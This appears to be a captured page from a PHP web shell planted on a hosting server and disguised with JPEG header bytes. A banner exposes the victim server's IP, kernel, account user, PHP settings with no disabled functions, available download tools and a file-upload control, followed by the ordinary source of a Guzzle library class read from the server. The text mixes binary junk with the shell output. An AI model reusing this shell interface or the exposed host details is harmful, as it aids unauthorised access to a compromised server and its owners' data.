����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.117.227.191 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/guzzle/guzzle/src/Guzzle/Batch/ |
Upload File : |
<?php namespace Guzzle\Batch; use Guzzle\Batch\BatchTransferInterface; use Guzzle\Batch\BatchDivisorInterface; use Guzzle\Common\Exception\InvalidArgumentException; use Guzzle\Http\Message\RequestInterface; /** * Batch transfer strategy used to efficiently transfer a batch of requests. * This class is to be used with {@see Guzzle\Batch\BatchInterface} */ class BatchRequestTransfer implements BatchTransferInterface, BatchDivisorInterface { /** @var int Size of each command batch */ protected $batchSize; /** * Constructor used to specify how large each batch should be * * @param int $batchSize Size of each batch */ public function __construct($batchSize = 50) { $this->batchSize = $batchSize; } /** * Creates batches of requests by grouping requests by their associated curl multi object. * {@inheritdoc} */ public function createBatches(\SplQueue $queue) { // Create batches by client objects $groups = new \SplObjectStorage(); foreach ($queue as $item) { if (!$item instanceof RequestInterface) { throw new InvalidArgumentException('All items must implement Guzzle\Http\Message\RequestInterface'); } $client = $item->getClient(); if (!$groups->contains($client)) { $groups->attach($client, array($item)); } else { $current = $groups[$client]; $current[] = $item; $groups[$client] = $current; } } $batches = array(); foreach ($groups as $batch) { $batches = array_merge($batches, array_chunk($groups[$batch], $this->batchSize)); } return $batches; } public function transfer(array $batch) { if ($batch) { reset($batch)->getClient()->send($batch); } } }